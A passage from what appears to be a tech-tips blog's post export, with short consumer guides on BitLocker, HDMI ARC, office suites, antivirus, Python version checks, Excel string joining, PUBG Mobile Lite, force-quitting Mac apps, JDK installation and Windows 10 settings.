formation.\nXborg - Estes - Odette - Claude - Zilong Front: Xborg and Zilong In the middle: Odette and Claude Behind: Estes   Xborg is a pick in the latest meta due to its high damage and resistance. Players can build full damage or full tanks on Xborg and dominate the arena thanks to the True Damage ability. Zilong's fast attack speed with lifesteal can be a nightmare for a weak hero.\nOdette and Claude, aided by Estes is a perfect combination of attack speed, stun, healing and armor penetration. Note that Odette needs to be at max level to use Estes' ultimate.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jKidZqyYmnq0wNGopaCdo6l6tL3UmpusZZmjeq67waKjnmWcmrSmusOsZJqcppq7tcHRng%3D%3D\n","link":"/post/top-of-the-strongest-squads-in-mobile-legends-adventure/","section":"post","tags":null,"title":"TOP of the strongest squads in Mobile Legends: Adventure"},{"body":"On the computer operating system there are many different types of data encryption, but the two most common types of encryption are File-Encrypting File System and BitLocker to encrypt personal data. In this article, the Software Tips will explain to you what is BitLocker?\n  What is BitLocker?\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;  Please refer to how to use Bitlocker:\nhttp://TipsMake.vn/cach-dung-bitlocker-de-ma-hoa-du-lieu-trong-may-tinh/ http://TipsMake.vn/cach-kich-hoat-ma-hoa-bitlocker-tren-may-tinh-khong-ho-tro-chip-tpm/ BitLocker is an encrypted form to keep information confidential and not allow unauthorized access to others. When encrypting the information, you can still use this information normally, even if you want to share this information with other users. In simpler terms, BitLocker is a form of data security for your users to avoid being seen and used by other users. BitLocker security is tighter than that of simple passwords (because passwords are easy to crack).\n  For example, if you have an encrypted BitLocker document you share with others, they will now have to decrypt it to see the Excel document and edit it.\nNotes:\nBitLocker encryption the entire hard drive will take very long time. To be safe during the encryption process, you should back up the data on the computer in case the computer is encrypted. In order to use BitLocker encryption, your computer must have a Trusted Platform Module (TPM 1.2) chip to set up BitLocker. When you set an encrypted password, keep in mind because when you forget the password, it is very difficult to crack BitLocker ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWSnsGtu8KknKs%3D\n","link":"/post/what-is-bitlocker/","section":"post","tags":null,"title":"What is bitlocker?"},{"body":"HDMI is now the most popular and quality connection standard when connecting between laptop devices, phones to TVs or transmitters. On most TVs today, HDMI ports are available for convenient data conversion. However, some TVs have an ARC symbol at the HDMI connector. So, what does ARC mean and what is the case?\n1. What is HDMI - ARC port? For a TV with a regular HDMI port (without additional ARC symbols), this port is an IN port, ie the port RECEIVING image and audio signals from other devices (player, laptop, staging. .). This also means, this HDMI port only receives but not output sound to the speaker, staging machine . okay, if you want to export you must use another connection (Optical, Audio Out .).\nHowever, if your home TV has an HDMI port (ARC), things are much simpler, because this port can output audio back to the speakers, amplifiers, staging machines . with an HDMI cable connection.\n  If you connect a TV with HDMI (ARC) to a sound system, you can both receive image signals from the player on the TV, and you can also output sound to the speakers with just one connected cable.\n2. Connect the TV to the speaker via HDMI - ARC port: For families who need to constantly connect the TV to speakers, amplifiers and sound systems to enjoy the more vivid sound, the HDMI - ARC port will take care of that.\nHowever, to be able to connect, the devices need to have the following conditions:\nTelevision with HDMI (ARC) port. On the chassis, amplifier, speakers with HDMI OUT ports that support ARC (not all HDMI OUT ports have ARC, you need to understand the information before buying or see the device's user guide mentioned This connection standard is not). HDMI cable.   To be able to connect the port on the TV to audio devices, follow the instructions below:\nOne HDMI cable plugs into the HDMI (ARC) port on the TV, the other end plugs into an HDMI OUT port (with ARC) on the audio device. On the television, press the INPUT, SOUNCE button or the arrow button with the arrow icon . to select the data input of the TV to be the HDMI port you plugged in.\n  Note:\nTo be sure, before purchasing the system, amplifiers, speakers . you should check carefully whether this product is sure to support ARC. If you have followed the steps that are still not audible, it may be because your HDMI cable is too old or of poor quality, you can buy a new HDMI cable. Refer to the following articles: How to connect a laptop to a TV using an HDMI port How to connect mouse, keyboard with Smart TV Instructions on how to increase processing speed for Smart TV Hope the above article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJutMOmoGaZoph6sbvRrWSopl2pw27B0p6bZp6fpw%3D%3D\n","link":"/post/what-is-the-hdmi-arc-port-on-tv-used-for/","section":"post","tags":null,"title":"What is the HDMI (ARC) port on TV used for?"},{"body":"Today, the YouTube video network will begin supporting videos with a frame rate of up to 60 fps, perfect speed for game videos - a kind of video with fast footage and lots of effects.\n  Previously, users also experienced 60 fps videos in movie trailers and 'special' clips, but now this speed will support ordinary users. High frame rate is suitable for game videos, video types with fast footage, many effects. It helps with the motion, the effect in the video becomes smoother and more impressive.\nTo experience 60 fps video, you need to be aware of video quality options at 720p or 1080p. According to initial tests, the new frame rate works well on Chrome and Safari, but on the mobile device's browser, there's a \"no- time \" phenomenon.\nAs mentioned, the difference in frame rate is often very easy to recognize through game videos. Previously when YouTube did not support 60 fps frame rate, when you play games on machines like Xbox One, PS4, Wii U via TV screen, the frame rate is always much higher than video displayed on YouTube. You can see the smoothness of high frame rate video when watching the video demo game Mario Kart 8 below.\nIn June, Google said that it would support 48 fps and 60 fps for videos with motion-intense scenes when users uploaded to YouTube, but then the search firm proved \" silent. \" \" Until today, Google has kept its promise.\nncG1vNJzZmismaXArq3KnmWcp51kxrDB066ZnmWfm7Oqr8iao6WxXajCsbzOq6usZaaesaa70mauoqyYYq5ustGapJ5lopbBpnnOn2RvaF2bvbQ%3D\n","link":"/post/youtube-officially-supports-videos-with-a-frame-rate-of-60-fps/","section":"post","tags":null,"title":"YouTube officially supports videos with a frame rate of 60 fps"},{"body":"Undoubtedly, Microsoft Office is the \"king\" in the office suite, but that doesn't mean it's right for you. Indeed, there are many reasons why users do not want to buy Microsoft Office because they are expensive, there is no trial version, they cannot be used on multiple platforms, etc.\nOn the Internet, there are many other office suite and you will be surprised by its capabilities, which can replace Microsoft Office, not to mention many of the applications are completely free for personal use. . Here are the office software installed on your computer, which can replace Microsoft Office. If you don't want to install software, Microsoft's Office Online or Google Docs is also quite interesting.\n7 good choices replace Microsoft Office 3 best online office suite apps 1. Google Docs 2. iWork for iCloud 3. Zoho Office  4 sets of best office applications for computers 1. OnlyOffice 2. SoftMaker Office 3. LibreOffice 4. WPS Office  3 best online office suite apps 1. Google Docs   Google Docs is the most popular office suite in the world behind Microsoft Office. Here many people will be confused because 'Google Docs' is also the name of its word processing application, including Google Docs, Google Sheets and Google Slides.\nThe reason many people use Google Docs is because it's simple, requires no installation, can share files, and the recipient doesn't need to install anything and the interface is simple and intuitive.\nIt is also compatible with Microsoft Office, can import DOCX, XLSX and PPTX files but cannot export them. In addition, Google Docs also supports voice conversion to text, but this feature is not very well developed.\nAdvantages of Google Docs:\nProvides up to 15 GB of free storage for files Docs, Sheets and Slides. Use Track changes and document version history. Real-time online collaboration with up to 50 concurrent users at once. Manage rights and limits what users can do on a document. Offline editing automatically syncs as soon as online. Integration with other Google services, including Gmail and Calendar. Use hundreds of free fonts from Google Web Fonts. Website: docs.google.com (Free)\nHow many of the best features have you missed on Google Docs? 2. iWork for iCloud   Although Apple's iWork toolkit usually costs $ 10 per application, you can use Pages, Number and Keynote for free on the web using iWork for iCloud.\niWork for iCloud is similar to the desktop version for Mac. It has a simple interface, is flexible enough to create any type of file users need, but there are not many options to customize \"workspaces\".\nThis is the right choice if you are using iWork on your Mac because it is integrated and can work on documents wherever you are. The only downside is that it is hosted on iCloud, which is one of the most popular cloud storage solutions. All you need is an Apple ID to use iWork for iCloud.\nIWork advantage for iCloud:\nFree storage up to 5GB on iCloud. Nice and simple interface easy to navigate. Integrate with iWork for Mac, making it a top priority choice for Mac users. Export and import Microsoft Office files easily. Website: icloud.com (Free)\n3. Zoho Office   What users love about the Zoho Office office suite is its interface. Zoho Office is the best small set of apps with interesting features like real-time chat right on documents, collaborative editing, digital letters, fast document sharing and more. . Zoho Writer has a unique feature that is able to send documents directly to WordPress, making it an effective blogging tool.\nAdvantages of Zoho Office:\nFree storage capacity up to 5 GB via Zoho Docs. Up to 25 file version history for each document. Import and export Microsoft Office files. Real-time communication with collaborators. Validate two factors to enhance security. Customize extended documents, settings and workspaces. Website: zoho.com (Free)\n4 sets of best office applications for computers 1. OnlyOffice   OnlyOffice is an office suite that is less known to users but can beat powerful competitors. It actually delivers products with the slogan: \"Powerful like Microsoft Office, free as LibreOffice\".\nWhat users love in OnlyOffice is that they can use Microsoft Office formats, which not all desktop office applications can do. Its interface is neat and professional.\nOnlyOffice has a cloud version, so users can access OnlyOffice on the web, store on the server and those who have paid access have their own access.\nAdvantages of OnlyOffice:\nOpen source and completely free for personal use. Simple and professional interface Import and export Microsoft Office files. Self-storage capability for enterprise internal web access. Edit and share files in real time. Download : OnlyOffice Desktop (Free) Download : OnlyOffice Cloud (120 USD / year) Download : OnlyOffice Enterprise (900 USD / server)\n2. SoftMaker Office   SoftMaker Office is a commercial office suite, however it has a free version called SoftMaker FreeOffice. FreeOffice is lightweight but full of features that users require and expect from a modern office suite.\nSoftMaker Office is compatible with Microsoft Office, the first alternative office suite that can easily read and write Microsoft Office formats. This means you can open and edit Microsoft Office files.\nIts interface is also very nice, providing options for users to change the interface in a traditional way (with toolbar and menu) or in modern style (with ribbon like Microsoft).\nAdvantages of SoftMaker Office:\nTagging interface helps edit many documents. Store the file version history and allow to revert to the previous version if desired. Export in EPUB format to easily convert documents into ebook. Can choose between classic or modern interface. Portable installation into USB drive for use anywhere. Download : SoftMaker FreeOffice (Free) Download : SoftMaker Office Standard (70 USD) Download : SoftMaker Office Professional (USD 100)\n3. LibreOffice   If you ask 10 people about desktop office software to replace Microsoft Office, then 10 people will say LibreOffice. The reason this software is so widely known is because it is free, open source that can work on many platforms such as Windows, Mac and Linux.\nIn January 2018, LibreOffice released the most awaited version 6.0. In this version it offers a number of new features, bug fixes, performance improvements and a new easy-to-navigate help system and some other features.\nAlthough LibreOffice software supports Microsoft Office files, there are errors such as changing the format when editing in other applications.\nAdvantages of LibreOffice:\nCompletely free, open source and multi-platform Built-in tools for creating complex documents, books and websites. Download hundreds of LibreOffice templates. Extend functionality with hundreds of LibreOffice extensions. In addition to Writer, Calc and Impress, LibreOffice also has other office applications such as Draw, Base and Math. Download : LibreOffice (Free)\n4. WPS Office   WPS Office, formerly known as Kingsoft Office, is a full-featured office application. In addition, it also has unique features like PDF file conversion, PDF merging and authoring, document signature, document encryption, containing hundreds of fonts and templates, editing documents by tags and many features. another.\nThe biggest drawback of WPS Office is the free version that comes with ads, some useful features only unlock when you spend 30 minutes watching fast ads.\nAnother drawback is that WPS Office works slowly especially on older laptops with hardware that has been 'old' and the application will be suspended, not running as expected.\nWPS Office advantages:\nUp to 1 GB of free memory using WPS Office Cloud. Easily share files with others via WPS Office Cloud. Document tabs make it easy to organize when editing. Hundreds of fonts and templates to enrich your document. Built-in PDF tools, including the ability to save directly as PDF. Import and export Microsoft Office files (only in Professional version). Download : WPS Office (Free) Download : WPS Office Premium (30 USD / year) Download : WPS Office Professional (45 USD / year or 80 USD once)\nSee more:\nAlternatives to \"expensive\" software 50 alternative slideshow applications for PowerPoint 5 best options to replace Microsoft Outlook ncG1vNJzZmismaXArq3KnmWcp51khG6zzqibZpuYpLaksdJmqZ6onJawpnnMopqrp6Oks7V5zp%2BdopuV\n","link":"/post/7-good-choices-replace-microsoft-office/","section":"post","tags":null,"title":"7 good choices replace Microsoft Office"},{"body":"\" Getting virus through every note \" is word of mouth for users of Avira AntiVir software, once installed on your computer, you can spread all worries about the virus.\n\u0026gt;\u0026gt;\u0026gt;AVG announced the 2011 security suite Unbelievably easy to use Unlike most anti-virus programs that often make it difficult for computer users to display messages continuously, running a commonly used program is also reported . With AHeAD technology, Avira AntiVir will actively analyze files are properly and automatically disabled if a computer is found to be harmful, even to vius on a USB disk or from a computer website.\n  Avira AntiVir Premium version\nImmediately after installing Avira AntiVir on your computer, the software will automatically update the latest features, automatically scan all drives in your computer and start the task of ' guarding ' your computer. . Then, if you want to scan for viruses in a drive, file, folder, just open the My Computer window and right-click on the object to scan for viruses and select the command line with the icon ' red umbrella '. The power of Avira AntiVir Avira AntiVir is a well-known German software that is highly appreciated by the computer virus association in the world for its comprehensive anti-virus capabilities, as well as the effectiveness of virus scanning. And was independently verified by TUV organization and ranked at the forefront of the ability to detect many types of computer viruses. According to AV Comparatives, Avira AntiVir uses quite a few system resources. Therefore, Avira AntiVir is truly a very reliable protection program for personal or business users against viruses and computer threats.\n  Avira Premium Security Suite version\nAvira AntiVir works on all computers (including low-end older computers) that use Windows operating systems or other operating systems at a relatively fast speed and do not slow down the computer like many other antivirus software. In particular, it also has a dedicated mode for laptops or gamers, helping users to optimize the performance of the device or specific needs.\nAvira AntiVir's work window is simple, anyone can control Avira, whether you are a beginner or an experienced user. Rich features Avira AntiVir Premium version will help your computer equipped with professional protection features, strong enough to fight viruses, malware, worms, trojans, adware, spyware and phishing scams. real. It will silently check all files before they are opened, and prevent them as soon as they are trying to get into your computer. This is also done for sending and receiving programs (email), the MailGuard feature checks for viruses in received and sent emails. For users who like to surf the web, especially strange websites, the WebGuard feature will be a solid protection barrier for your computer against viruses, worms or any other threats (phishing website The island gets bank account information, email password, etc. that are hidden in the website you are opening. With the more advanced Avira Premium Security Suite version, your computer will be equipped with a solid firewall to remove junk emails, control phishing emails, create system recovery discs in school worst case, backup important data; Of course, it still has all the protection features available in the Avira AntiVir Premium version. Moreover, with the Parental Control feature, users will easily block malicious websites for children, or gaming sites, and can restrict the child's Internet access time.\nncG1vNJzZmismaXArq3KnmWcp51krre10ZpkmqaknsOqvoypqaislZjBbsXOrqlmm5%2BivbbAxKtkoqZdqbWmedKipKmklajBbsPAsg%3D%3D\n","link":"/post/avira-antivir-protect-your-computer-in-the-simplest-way/","section":"post","tags":null,"title":"Avira AntiVir - Protect your computer in the simplest way"},{"body":"The hinges of the device are protruding behind or even broken if the user frequently closes the screen.\n  Dell acknowledged for the first time a hinge error on the Alienware M11x.\nAlienware M11x , Dell's breakthrough laptop in 2010 was appreciated by many users except for a hardware hinge-related error. A series of comments on this issue are reflected by the Dell forum all the time.\nMost think that the hinge has a bad design and will be bulged behind or broken if the user frequently opens and closes the computer. These errors are thought to exist in the first M11x version and M11x using Core i series. Previously, unfortunate customers who encountered a faulty model were not allowed to operate.\nHowever, with so many users' comments, Dell recently announced to acknowledge the cause of the company and will soon offer a program to support users who encounter this error. The machines are repaired by Dell free of charge even if they are out of warranty or if there is a hinge error.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y2aYnKOepMStscOgnJ1lmJ67qLGMnqmrp6KoerC6jK2fnmWRobamutaaqZ5lnWZ%2BuQ%3D%3D\n","link":"/post/dell-acknowledged-hinge-errors-on-the-alienware-m11x/","section":"post","tags":null,"title":"Dell acknowledged hinge errors on the Alienware M11x"},{"body":"A white shark caught using a jaw of a Google fiber optic cable. It is unclear why the shark acted like that.\nA video recorded by professional divers shows the white shark taking sharp teeth slowly chewing on the cable.\n    The shark hovered above, then plunged down to chew the cable.Photo: Youtube\nAfter watching the video, Google Corporation had to send professional divers to the seabed, using Kevlar - the material used in bulletproof jackets - to wrap up more than 160,000 km of fiber optic cables to avoid the arrival of sharks. after attack.\nThe cable that Google uses is made of fiberglass, transmitting data across the ocean through a laser beam. Google's product manager said the material offers 100 times faster connection speeds than copper.\nIf the above fiber optic segments are broken, the Internet in many countries may be slowed down, more seriously than disconnected.\nOne cannot find the reason why sharks act like that. In 1985, a shark's tooth was discovered deep inside a test fiber optic cable off the coast of the Canary Islands.\nThen, in 1987, the fiber-optic cable connecting the US, Europe and Japan was also bitten by sharks but left no serious consequences.\nAt that time, some people wanted to find out why sharks like 'preening' a cable, by inserting a piece of cable into a shark's throat, see how it reacts but the animal does not show interest. interesting.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqWRp7avsYywn6KslWLAqa3RpGSsoJGnuLQ%3D\n","link":"/post/google-marine-white-shark-sharks/","section":"post","tags":null,"title":"Google 'marine' white shark sharks"},{"body":"Google has just said it will add features to Google WiFi to measure the connectivity of each device when they are connected to your network.\nIn the next few weeks, you will be able to use the Google WiFi application to check the connection of the device to what extent, whether it is Amazon Echo, smart TV or other IoT devices.\nCurrently Google's WiFi allows you to measure the speed and quality of your network connection, the new feature will see the speed of each device connected to that network. When you know which devices are weakly connected, you can bring them closer to the transmitter .\n  Check the network connection speed of each device\nThis new update is quite important when smart home appliances are increasingly popular. Google said on average there are about 18 devices on each Google WiFi network, so it is difficult to track the connectivity of all devices.\nSee more:\nAndroid 8.1 will indicate whether WiFi is strong or weak before connecting Infra-red Wifi is 112 GB per second, 300 times faster than the current speed Internet speed test applications for smartphones ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZq%2BZm7Zuw8ilo2ahnpm2pK3TnmStoJVisLC6zZ6araGfo3qywcCloK2xXaSzbsDHnmSdnaaesKY%3D\n","link":"/post/google-wifi-will-indicate-the-connection-quality-of-the-device/","section":"post","tags":null,"title":"Google WiFi will indicate the connection quality of the device"},{"body":" This wikiHow teaches you how to find which version of Python is installed on your Windows or macOS computer. Open Windows Search. If you don't already see a search box in the taskbar, click the magnifying glass or circle next to , or press...\nMethod 2of 2:\nmacOS  Open a Terminal window on your Mac. To do this, open the Applications folder in Finder, double-click the Utilities folder, then double-click Terminal.\n  Type python -V at the prompt (V uppercase).\n  Press ⏎ Return. The version number will appear on the next line after the word 'Python' (e.g. 2.7.3).\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsec%2Byq6GnnmLDpr7SoqanZZ%2BjerGvjKipZqWRmA%3D%3D\n","link":"/post/how-to-check-python-version-on-pc-or-mac/","section":"post","tags":null,"title":"How to Check Python Version on PC or Mac"},{"body":"When working with strings in Excel, you will probably need to join strings together at a time. If you do not know how to concatenate strings in Excel, then you should refer to the ways of joining strings in Excel that the article shares below.\n  The following article shows you two ways to concatenate strings in Excel: using the \u0026amp; operator and concatenating strings using the CONCATENATE function.\nMethod 1: Concatenate strings using the \u0026amp; operator How to use the \u0026amp; operator to concatenate strings, you can enter the text directly as follows:\n= \"TipsMake\" \u0026amp; \". vn\"\nYour results will be:\n  You can also concatenate strings in reference cells that contain the following string:\n= C8 \u0026amp; D8 \u0026amp; E8\n  In addition, you can append spaces to text strings, for example:\n= C8 \u0026amp; \"\" \u0026amp; D8 \u0026amp; \"\" \u0026amp; E8\n  Or you can add special characters to the string as follows:\n= B6 \u0026amp; \"@\" \u0026amp; \"gmail.com\"\n  Method 2: Concatenate strings using the CONCATENATE function The CONCATENATE function is a concatenated function in Excel, let's learn how to concatenate using the CONCATENATE function below.\nSyntax = CONCATENATE (text1, [text2], .)\nWhere: text1 is a required argument, is the first string to be paired, it can be text values, numbers or cell references.\ntext2 is an optional argument, being the second string to pair can have up to 255 entries (8192 characters).\nNote Strings are text, special characters, dates, etc., you need to enclose them in quotes, '' if the number is not in quotation marks. For example Use the CONCATENATE function to concatenate text strings and numbers.   Use the CONCATENATE function to concatenate strings with cell references   Use the CONCATENATE function to concatenate strings and add spaces between concatenated strings.   Use the CONCATENATE function to concatenate strings and add special characters to the string.   Above are the ways to concatenate strings in Excel that you can perform quickly. If you need to concatenate strings in Excel, you can choose one of two ways that the article guides to concatenate strings. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7CiwMSnmK2dXajBs7XNoKpmoZ5isrmvxKU%3D\n","link":"/post/how-to-concatenate-strings-in-excel/","section":"post","tags":null,"title":"How to concatenate strings in Excel"},{"body":"PUBG Mobile Lite, a game identical to PUBG Mobile but lighter and only for low-configuration Android devices. If you want to play the original PUBG Mobile game smoothly, you will need mid-sized smartphones.\nTherefore, PUBG Mobile Lite version has been developed by Tencent and is reserved for low-profile Android smartphones. Only with 1GB Ram you can have the smooth PUBG Mobile Lite on your phone.\nCurrently, although not officially supported in CHPlay Vietnam, you can still download PUBG Mobile Lite in a few different ways, the simplest you can follow the instructions below to download and play PUBG Mobile Lite on your phone. In my case, this includes a fix error restrict area PUBG Mobile Lite.\nPUBG Mobile 0.14.0: Instructions for new Zombie mode Infection Mode 6 tips to play Team Deathmatch PUBG Mobile How to play PUBG Mobile on your computer using Nox App Player How to download PUBG Mobile Lite on the latest phone Step 1: First download PUBG Mobile Lite file APK, please visit this link. Then click Download and select the link to download APK file PUBG Mobile Lite as below.\n  After downloading, please install the APK file PUBG Mobile Lite normally, but because PUBG Mobile Lite does not support in Vietnam, you will encounter a notice of the restrict area when entering PUBG Mobile Lite.\nSo you'll have to resort to the Kiwi VPN app, click on this link to download the Kiwi VPN to your phone and install it. Next click Best server \u0026gt; select Brazil .\nNote that because you use VPN software, make sure your network connection is high-speed and stable.\n   If you have no coins to open VPN Brazil you can see ads. Click Unlock to view the 30-second commercial, not to click the X in the countdown message.\n   Next you will be connected to IP Brazil, if you see the connection button has bee flying around and the icon running in the middle is successful,\n  Then, please start the game and you can log in with Guest (Guest) or Play Games account or Facebook account.\n  Choose gender, face, hair style, skin color and name your character.\n  Next you will come to the main interface, it seems that Brazilian gamers are being favored by PUBG Mobile Lite when there are always attractive gifts when logging in every day.\n  You only have one map, Erangel in PUBG Mobile Lite, with War mode in the Arcade section.\n  The settings will still have full installation features, but there will be no graphical installation.\n  Well, that is a good introduction, so you can see that the number of players is only 60 people like PUBG Mobile Lite before.\n  How to play PUBG Mobile Lite is exactly the same as PUBG Mobile, so anyone who has ever played PUBG Mobile will not take too long to get used to the controls in PUBG Mobile Lite.\nYou can see that the Erangel map in PUBG Mobile Lite is slightly different from the 4x4 area. Some locations in the original Erangel map have also been replaced.\n  Now go, loot and run bo to save TOP 1 in PUBG Mobile Lite.\n  With the above instructions, you can download and play PUBG Mobile Lite on your Android phone. Although you must set up a VPN before playing PUBG Mobile Lite, but with a strong and stable network connection, your experience will be uninterrupted.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKmtkpx6rrvBoqOeZZyewaZ5zqdkraCVYrmiwMSsq2aZnpm%2FsLXD\n","link":"/post/how-to-download-pubg-mobile-lite-on-the-latest-android/","section":"post","tags":null,"title":"How to download PUBG Mobile Lite on the latest Android"},{"body":" This wikiHow teaches you how to quit an application that has stopped responding on your Mac. Open the Apple menu. It's the black Apple on icon in the upper-left corner of the screen.\nMethod 1of 5:\n  Open the Apple menu. It's the black Apple on icon in the upper-left corner of the screen.\n  Click on Force Quit… toward the middle of the menu.\n  Click on the app you want to quit. The note \"(Not Responding)\" will appear next to frozen apps.   Click on Force Quit. The app will quit and can be restarted. If your computer is frozen, you may need to restart it.  Method 2of 5:\nUsing a Keyboard Shortcut  Press ⌘+⌥ Option+Esc. The \"Force Quit\" dialog box will open.\n  Click on the app you want to quit. The note \"(Not Responding)\" will appear in red next to frozen apps.   Click on Force Quit. The app will quit and can be restarted.\n Method 3of 5:\nUsing the Dock Press ⌥ Option on your keyboard.\n Right-click or control-click the application in the Dock.\n Click Force Quit.\n Method 4of 5:\nUsing Activity Monitor  Click on Spotlight. It's the magnifying glass in the upper-right corner of the screen.\n  Type \"Activity Monitor\" in the search field.\n  Click on Activity Monitor under \"Applications.\"\n  Click on the application you want to quit.\n  Click on \"Quit Process\" in the upper-left corner of the window. This will stop the application from running.\n Method 5of 5:\nUsing Terminal  Open the Terminal utility. By default, this is in the Utilities folder, located in the Applications folder. If a normal Force Quit doesn't work, you may need to use this method to end the program.   Type \"top\" and press ⏎ Return. The 'top' command displays information about the applications that are currently running.\n  Find the program you want to close. Under the column titled \"COMMAND\", find the name of the application you wish to quit. The COMMAND list may use a truncated name for the program. Look for a name that looks similar to the program you are trying to close.   Find the PID (Process ID). Once you find the name of program, find the number to the immediate left of it, under the PID column. Make a note of the PID number.\n  Type \"q\". This will exit the list of applications and return you to the command line.\n  Type \"kill ###\". Replace the \"###\" with the number from the PID Column you just located. For example: If you were trying to quit iTunes, and found iTunes to have PID number 3703, you would type \"kill 3703\". If the program does not respond to the 'kill' command, type 'sudo kill -9 ###', replacing ### with the PID number.   Exit the terminal. The application should quit and you can be relaunched.\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6fp7CmedCuoK1lkaN6orzPpaCcmaSevK95zqdkmmWdlrA%3D\n","link":"/post/how-to-force-quit-an-application-on-a-mac/","section":"post","tags":null,"title":"How to Force Quit an Application on a Mac"},{"body":" Installing the Java Development Kit (JDK) on your Mac will allow you to write and compile Java applications. Installation of the JDK is very straightforward, and includes a development environment called NetBeans. You'll be using NetBeans...\nPart 1of 2:\nInstalling JDK  Visit the JDK download page. Open your web browser and visit oracle.com/downloads/index.html.\n  Download the JDK installer. Once you're on the Downloads page, you'll need to navigate to the installer files: Click the \"Java\" option. Click \"Java SE.\" Click the \"Download\" button next to \"JDK 8 with NetBeans.\" Select \"Accept License Agreement\" and then click the download link for \"Mac OS X\" in the top section. This is the most recent release of the Java SDK with the NetBeans development environment.   Double-click the downloaded installer. The installer is in .dmg format. Double-clicking it will open the installation interface.\n  Follow the prompts to install the JDK. You'll be asked to enter your administrator password before installation can proceed.\n  Delete the DMG file after installation (optional). This will help you save on disk space, since you don't need it after the JDK has been installed.[1]\n Part 2of 2:\nCreating Your First Program  Open NetBeans from the Applications folder. This is the development environment for Java, and will allow you to easily write and compile code.\n  Click File and select \"New Project.\" This will start a new project in NetBeans.\n  Select the \"Java\" category and the \"Java Application\" project. This will set NetBeans to create Java files for this project.\n  Give the project a name and click \"Finish.\" For this example, call it \"HelloWorld.\" This will open the code editor after the project is created.\n  Find the \"// TODO code application goes here\" line. Your program code will go underneath this line.\n  Enter your program code on a new line. Press ⏎ Return after the \"// TODO code application goes here\" line to create a new line with the same indentation. Type the following code: System.out.println(\"Hello World!\");    Click the \"Run Project\" button. This looks like a green Play button, and can be found in the toolbar.\n  Check the Output tab to see your project in action. This frame will appear at the bottom of your screen after running the project.\n  Fix any errors. If the project doesn't have any errors, you'll see \"Hello World!\" and \"BUILD SUCCESSFUL\" in the Output tab. If there are errors, you'll see which lines they occur on so that you can go back and fix them.[2]\n  Continue learning Java. Now that you have the JDK installed and working, you can continue learning to program in Java. See Write Your First Program in Java for more beginner guides.\n  Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmq6GdXZ%2BxrHnJmq2aZZSaw6a4zqmknqakYriqwIyopWaZXaKupA%3D%3D\n","link":"/post/how-to-install-the-jdk-java-development-kit-on-a-mac/","section":"post","tags":null,"title":"How to Install the JDK (Java Development Kit) on a Mac"},{"body":"If you are a fan of painting, like drawing pictures, you can install the CAS Preview application. This is the wallpaper application for the computer interface or lock screen, providing wallpapers from Microsoft City Art Search project. These pictures belong to many museums in the world, famous works and will become wallpapers on Windows 10 or Windows 10 Mobile computers. How to use the CAS Preview to change the Windows 10 wallpaper will be in the article below.\nHow to prevent anyone from changing Windows wallpaper? Instructions for changing Windows 10 wallpaper timer How to change Win 10 computer wallpaper Instructions for using CAS Preview to change Windows 10 wallpapers Step 1:\nDownload the CAS Preview application according to the link below, then access the application. Click the Refresh button at the computer screen, or the lock screen you want to use to proceed with the wallpaper installation.\nDownload the Windows 10 CAS Preview application If you want to share images for both desktop or lock screen, turn On at the match. Next press the Refresh button to display the wallpaper. Want to switch to another wallpaper also press the Refresh button.\n  Step 2:\nAt the Time off section, users can set the time to automatically change the wallpaper for the desktop or lock screen. Maximum exchange time is 1 week and minimum 15 minutes.\nWhen clicking on Settings, users will access Personalization on the computer system.\n  Step 3:\nThere are a number of different image filtering filters like Nudity Filter, Religious Filter or Portraits Filter.\n  Step 4:\nIn addition, photo slideshow mode is also provided on the application. Click the Random Slideshow button to display the image and change the new image after 15 seconds.\n  In addition, you can toggle on the display of Live Tile (Live Tile Image), Live Tile Follows, image change notifications (Notification), and Clear Blacklist. In each wallpaper there will be options for you to search for artist and work information if you want.\n  Not only help you change your computer wallpaper or lock screen with drawings, CAS Preview also brings many other unique features. Each picture will have brief information for users to know, or option to search for that art image.\nSee more:\nHow to change your avatar on Windows 10 Software and applications download high quality wallpapers How to create a double wallpaper on Android with Couple Wallpaper I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq4tc2dprCrXWZ9bsPApaOpmaCav27DyK2fZpmiqba0wMicZKmZmaPBqrrGrA%3D%3D\n","link":"/post/how-to-set-windows-10-wallpaper-with-artistic-paintings/","section":"post","tags":null,"title":"How to set Windows 10 wallpaper with artistic paintings"},{"body":"On Windows 10, there is a video game screen recording tool which is Game DVR. This tool is similar to Game Bar, which helps you record every moment of gaming without installing software like Bandicam, Camtasia Studio, .\nThis is an available feature of the Xbox app on Windows 10, which automatically records the gaming process. However, a problem that users encounter is that the DVR Game is an application running in the background, so it consumes a lot of resources. If there is no need to use this application, you should turn off Game DVR on the system. The following article will guide you how to turn off the Game DVR application on Windows 10.\nHow to change the Windows 10 Game DVR recording time How to reduce lag, jerk game play on Windows 10? 7 ways to do, customize in post will help your Windows 10 \"as fast as wind\" Instructions to disable Windows 10 Game DVR Step 1:\nPress the Windows + I key combination to open the Windows Settings interface on your computer. Then click on Gaming settings.\n  Step 2:\nIn the Gaming settings list on your computer, click the Game DVR item in the list on the left of the interface.\n  Look at the right content, to turn off the DVR Game , turn the horizontal bar to the left to switch Off mode in Record in the background while I'm playing a game is done.\n  Besides, if there is no need to use Game bar to record screen video during game play, you should also turn off to save system performance. Click the Game bar setting on the left side of the interface, then look to the right to flip the horizontal bar to the left at Record game clips, screenshots, and broadcast using Game bar , to switch back to Off mode .\n  So when playing games on a Windows 10 computer you will not see the Game Bar or Game DVR icon. If there is a need to use DVR or Game bar to record video screen, we just need to access the above item, then push the horizontal bar to the right to switch to On mode to turn it on.\nSee more:\nHow to automatically switch dark backgrounds on Windows 10 How to fix Windows 10 hangs on the 